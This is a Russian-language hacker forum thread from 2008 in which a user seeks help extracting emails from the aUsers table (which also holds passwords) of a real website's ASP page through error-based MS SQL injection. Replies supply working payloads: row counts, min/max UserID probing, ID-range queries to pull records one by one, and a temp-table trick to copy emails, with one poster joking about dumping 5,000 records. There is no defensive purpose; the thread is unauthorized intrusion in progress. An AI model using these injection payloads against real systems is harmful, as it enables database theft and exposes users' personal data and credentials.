 |

25.02.2008, 14:15
|
|
Познающий
Регистрация: 19.09.2007
Сообщений: 38
С нами:
9813214
Репутация:
2
|
|
Чтение данных с MsSql
Уважаемые Гуру, начал изучать не так давно mssql и столкнулся на одном, очень интересном для меня, ресурсе вот с такой бедой :
Прочитал из базы все таблицы и имена всех колонок из интересующих меня таблиц.
В результате имеем таблицу
aUsers и колонки в ней
Email
EventUser
LastLogon
LogOns
Name
Notes
Password
UserID
UserName
Попробывал прочитать интересующую меня колонку
Emai вот таким способом
1+or+1=(SELECT+TOP+1+email+from+aUsers)
Получил
ADODB.Parameter error '800a0d5d'
Application uses a value of the wrong type for the current operation.
/duich/events/List.asp, line 185
Перестроил запрос на вот так
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')
Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}
получил синтаксическую ошибку. Я так понимаю что 2 раза where не катит. Хорошо сделал вот так
1+or+1=(SELECT+max(email)+from+aUsers)
Получал опять какое то мыло.
ВОПРОС!!! КАк можно просмотреть дальше список емайлов если
1+or+1=(SELECT+TOP+1+email+from+aUsers)
не работает.
Прошу прощения что так длинно все это описал. Хотел просто что бы вы видели мои действия.
З.Ы Хочу выразить отдельную благодарность Cash за его статью про MsSql. Спасибо огромное!!!!
Последний раз редактировалось constanta; 25.02.2008 в 14:23..
|
|
|

25.02.2008, 14:24
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
<>
not in
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

25.02.2008, 14:26
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами:
10248806
Репутация:
2371
|
|
SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать...
|
|
|

25.02.2008, 15:45
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами:
10459106
Репутация:
2996
|
|
удачи тебе слить так базу хотя бы в 5к =))
SELECT ROW_NUMBER() OVER (ORDER BY email DESC) AS Row
WHERE Row >=1 AND Row <3
Перебирать что??? будут выводить номера строк... я тебе из и так могу 1,2,3,4,5,6...
Не уверен что данная конструкция будет работать в иньекции.
Для начала
Определяем общее число записей.
1+or+1=(SELECT+count(*) +from+aUsers)--
далее определяем числовые приделы индексации, тоесть минимальный и максимальный
UserID
1+or+1=(SELECT+min(UserID) +from+aUsers)--
1+or+1=(SELECT+max(UserID) +from+aUsers)--
Далее оперевщись на эти данные выводим те промежутки которые нам надо:
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=>100)
1+or+1=(SELECT+TOP+1+email+from+aUsers+where+UserI D=<200)
Смотрим есть ли вывод, и делаем запросы уже на конкретные UserID.
Если нету числового поля идущего по примеру $i=1; $i++; то просто создаем таблицу и инстертим туда что нам надо делая при этом такую индексацию id которая нас бы устроила.
|
|
|

25.02.2008, 16:01
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
[ cash ]
<>
not in
удачи тебе слить так базу хотя бы в 5к =))
ну да, конечно, уему удобней создать новую таблицу)))
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')
Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}
два where нигде не поддерживается
select blabla from blabla where q='1' and w='1' and ..
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|

25.02.2008, 20:05
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
тоже считаю, что удобнее создать табличку с индексами, запихнуть туда нужные значения и вытаскивать их примерно как то так:
CREATE TABLE temp (
id INT( 6 ) NOT NULL AUTO_INCREMENT ,
email VARCHAR( 255 ) NOT NULL ,
INDEX ( id )
); insert temp (email) select email from aUsers;
сталкивался с такой проблеммой, один раз ооочень помогла конструкция union select но возможность использования этой конструкции зависит от везения
__________________
Карфаген должен быть разрушен...
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|